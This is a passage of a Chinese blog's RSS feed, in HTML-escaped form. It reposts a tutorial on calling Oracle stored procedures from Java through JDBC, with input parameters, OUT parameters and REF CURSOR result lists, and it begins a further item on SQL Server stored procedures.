null;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; try {&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Class.forName(driver);&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; conn = DriverManager.getConnection(strUrl, " hyq ", " hyq ");&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; CallableStatement proc = null; //创建执行存储过程的对象&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; proc = conn.prepareCall("{ call HYQ.TESTA(?,?) }"); //设置存储过程 call为关键字.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; proc.setString(1, "100"); //设置第一个输入参数&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; proc.setString(2, "TestOne");//设置第二个输入参数&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; proc.execute();//执行&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; catch (SQLException ex2) {&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ex2.printStackTrace();&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; catch (Exception ex2) {&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ex2.printStackTrace();&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; finally{&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; try {&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if(rs != null){&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; rs.close();&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if(stmt!=null){&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; stmt.close();&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if(conn!=null){&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; conn.close();&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; catch (SQLException ex1) {&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;/div&gt;&lt;div&gt;}&lt;/div&gt;&lt;div&gt;}&lt;/div&gt;&lt;div&gt;当然了，这就先要求要建张表TESTTB,里面两个字段（I_ID，I_NAME）。&lt;/div&gt;&lt;div&gt;二：有返回值的存储过程（非列表）&lt;/div&gt;&lt;div&gt;存储过程为：&lt;/div&gt;&lt;div&gt;CREATE OR REPLACE PROCEDURE TESTB(PARA1 IN VARCHAR2,PARA2 OUT VARCHAR2) AS&lt;/div&gt;&lt;div&gt;BEGIN &lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; SELECT INTO PARA2 FROM TESTTB WHERE I_ID= PARA1; &lt;/span&gt;&lt;/div&gt;&lt;div&gt;END TESTB;&lt;/div&gt;&lt;div&gt;在java里调用时就用下面的代码：&lt;/div&gt;&lt;div&gt;package com.hyq.src;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;public class TestProcedureTWO {&lt;/div&gt;&lt;div&gt;public TestProcedureTWO() {&lt;/div&gt;&lt;div&gt;}&lt;/div&gt;&lt;div&gt;public static void main(String[] args ){&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; String driver = "oracle.jdbc.driver.OracleDriver";&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; String strUrl = "jdbc:oracle:thin:@127.0.0.1:1521:hyq";&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Statement stmt = null;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ResultSet rs = null;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Connection conn = null;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; try {&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Class.forName(driver);&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; conn = DriverManager.getConnection(strUrl, " hyq ", " hyq ");&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; CallableStatement proc = null;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; proc = conn.prepareCall("{ call HYQ.TESTB(?,?) }"); //设置存储过程&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; proc.setString(1, "100");//设置第一个参数输入参数&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; proc.registerOutParameter(2, Types.VARCHAR);//第二个参数输出参数,是VARCHAR类型的&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; proc.execute();//执行&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; String testPrint = proc.getString(2);//获得输出参数&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; System.out.println("=testPrint=is="+testPrint);&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; catch (SQLException ex2) {&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ex2.printStackTrace();&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; catch (Exception ex2) {&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ex2.printStackTrace();&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; finally{&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; try {&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if(rs != null){&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; rs.close();&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if(stmt!=null){&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; stmt.close();&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if(conn!=null){&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; conn.close();&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; catch (SQLException ex1) {&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;/div&gt;&lt;div&gt;}&lt;/div&gt;&lt;div&gt;}&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;}&lt;/div&gt;&lt;div&gt;注意，这里的proc.getString(2)中的数值2并非任意的，而是和存储过程中的out列对应的，如果out是在第一个位置，那就是proc.getString(1)，如果是第三个位置，就是proc.getString(3)，当然也可以同时有多个返回值，那就是再多加几个out参数了。&lt;/div&gt;&lt;div&gt;三：返回列表&lt;/div&gt;&lt;div&gt;由于oracle存储过程没有返回值，它的所有返回值都是通过out参数来替代的，列表同样也不例外，但由于是集合，所以不能用一般的参数，必须要用pagkage了.所以要分两部分，&lt;/div&gt;&lt;div style="MARGIN: 0cm 0cm 0pt 18pt; TEXT-INDENT: -18pt"&gt;&lt;span&gt;1， &lt;/span&gt;建一个程序包。如下：&lt;/div&gt;&lt;div&gt;CREATE OR REPLACE PACKAGE TESTPACKAGE&amp;nbsp;&amp;nbsp;&amp;nbsp; AS&lt;/div&gt;&lt;div&gt;TYPE Test_CURSOR IS REF CURSOR;&lt;/div&gt;&lt;div&gt;end TESTPACKAGE;&lt;/div&gt;&lt;div&gt;2，建立存储过程，存储过程为：&lt;/div&gt;&lt;div&gt;CREATE OR REPLACE PROCEDURE TESTC(p_CURSOR out TESTPACKAGE.Test_CURSOR) IS &lt;/div&gt;&lt;div&gt;BEGIN&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; OPEN p_CURSOR FOR SELECT * FROM HYQ.TESTTB;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;END TESTC;&lt;/div&gt;&lt;div&gt;可以看到，它是把游标（可以理解为一个指针），作为一个out 参数来返回值的。&lt;/div&gt;&lt;div&gt;在java里调用时就用下面的代码：&lt;/div&gt;&lt;div&gt;package com.hyq.src;&lt;/div&gt;&lt;div&gt;import java.sql.*;&lt;/div&gt;&lt;div&gt;import java.io.OutputStream;&lt;/div&gt;&lt;div&gt;import java.io.Writer;&lt;/div&gt;&lt;div&gt;import java.sql.PreparedStatement;&lt;/div&gt;&lt;div&gt;import java.sql.ResultSet;&lt;/div&gt;&lt;div&gt;import oracle.jdbc.driver.*;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;public class TestProcedureTHREE {&lt;/div&gt;&lt;div&gt;public TestProcedureTHREE() {&lt;/div&gt;&lt;div&gt;}&lt;/div&gt;&lt;div&gt;public static void main(String[] args ){&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; String driver = "oracle.jdbc.driver.OracleDriver";&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; String strUrl = "jdbc:oracle:thin:@127.0.0.1:1521:hyq";&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Statement stmt = null;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ResultSet rs = null;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Connection conn = null;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; try {&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Class.forName(driver);&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; conn = DriverManager.getConnection(strUrl, "hyq", "hyq");&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; CallableStatement proc = null;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; proc = conn.prepareCall("{ call hyq.testc(?) }"); //存储过程 hyq包下的&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; proc.registerOutParameter(1,oracle.jdbc.OracleTypes.CURSOR);//设置输出参数是一个游标.第一个参数,游标类型&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; proc.execute();//执行&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; rs = (ResultSet)proc.getObject(1); //获得第一个参数是一个游标,转化成ResultSet类型&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; while(rs.next()) //获得数据&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; System.out.println("&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;" + rs.getString(1) + "&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;"+rs.getString(2)+"&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;");&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; catch (SQLException ex2) {&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ex2.printStackTrace();&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; catch (Exception ex2) {&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ex2.printStackTrace();&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; finally{&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; try {&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if(rs != null){&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; rs.close();&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if(stmt!=null){&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; stmt.close();&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if(conn!=null){&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; conn.close();&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; catch (SQLException ex1) {&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;/div&gt;&lt;div&gt;}&lt;/div&gt;&lt;div&gt;}&lt;/div&gt;&lt;div&gt;在这里要注意，在执行前一定要先把oracle的驱动包放到class路径里，否则会报错的。&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;font color="#ff0000"&gt;Trackback: http://tb.blog.csdn.net/TrackBack.aspx?PostId=1748697&lt;/font&gt;&lt;/p&gt;&lt;br&gt;&lt;div class="postFoot"&gt;&lt;font color="#ff0000"&gt;WeiYan发表于 2007年08月17日 19:23:00&lt;/font&gt; &lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=98</guid><pubDate>Thu, 06 Sep 2007 08:43:00 GMT</pubDate></item><item><title>[转][JAVA]Java中调用SQL Server存储过程示例</title><link>http://www.chendw.cn:8080/view.aspx?id=96</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;span &gt;&lt;/span&gt;&lt;div class="guanggao"&gt;&lt;span &gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;a href="http://search.yesky.com/search.do?wd=java&amp;amp;appType=1&amp;amp;columnId=324&amp;amp;sortType=0&amp;amp;btnsearch=%CB%D1"&gt;&lt;/a&gt;　　&lt;span&gt;作者： 孟子E章 